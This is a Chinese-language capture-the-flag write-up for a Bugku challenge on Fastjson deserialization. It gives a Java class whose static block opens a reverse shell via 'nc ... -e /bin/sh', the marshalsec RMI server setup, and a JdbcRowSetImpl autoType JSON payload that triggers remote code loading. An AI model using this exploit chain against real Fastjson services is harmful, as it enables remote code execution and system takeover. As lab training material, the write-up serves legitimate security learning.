Java Fastjson Unserialize WriteUp
Java Fastjson Unserialize
题目地址: https://ctf.bugku.com/challenges/detail/id/339.html
1. 查看网页源代码
<script type="text/javascript">
function formSubmit(){
var data=new Object();
data.user=document.getElementById('user').value;
data.pwd=document.getElementById('password').value;
var json=JSON.stringify(data);
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', '/login', true);
httpRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpRequest.send(json);
httpRequest.onreadystatechange = function () {
if (httpRequest.readyState == 4 && httpRequest.status == 200) {
var responseText = httpRequest.responseText;
data.pwd=document.getElementById('response').innerHTML=responseText;
}
};
}
</script>
可以看到点击登陆按钮提交后post方式 跳转到 /login 界面 这就是我们要构造的http请求头
2. 搭建所需环境
2.1 搭建java RMI服务
cd #到家目录
#创建 fastjson-test目录
mkdir fastjson-test
#进入fastjson-test目录
cd fastjson-test
# 克隆marshalsec
git clone https://github.com/RandomRobbieBF/marshalsec-jar.git
#我已经把编译后的jar包上传到gitee 请访问这个网址下载 不要用wget
https://gitee.com/kittysmith5/log4j2/raw/master/rmi/marshalsec-0.0.3-SNAPSHOT-all.jar
2.2 创建一个执行反弹shell命令的java类
#还是在 fastjson-test 目录
touch Test.java
#编辑Test.java
vim Test.java
Test.java内容如下
import java.lang.Runtime;
import java.lang.Process;
public class Test {
static {
try {
Runtime rt = Runtime.getRuntime();
//2.2.2.2改成自己云服务器的公网ip
String commands = "nc 2.2.2.2 8002 -e /bin/sh";
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
System.out.println("error!");
}
}
}
编译Test.java(最好用jdk1.8的版本)
javac Test.java
会在当前目录生成一个Test.class的文件, 待会有大用!
2.3 新开一个shell终端用python启动一个http服务
sudo python3 -m http.server
2.4 新开一个shell终端启动RMI服务监听9999端口
将2.2.2.2改为自己的公网ip! #Test对应Test.java
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:8000/#Test" 9999
2.5 新开一个shell终端nc监听8002端口
nc -lvn 8002
3. kali下使用burpsuite进行攻击
http请求头如下
POST /login HTTP/1.1
Accept: */*
Host: 114.67.175.224:17169
Content-type: application/x-www-form-urlencoded
{
"user":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"pwd":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://116.205.136.194:9999/Test",
"autoCommit":true
}
}
没有回应就是成功吗, 回到nc监听的shell终端页面,
输入cd / 和cat flag就能得到flag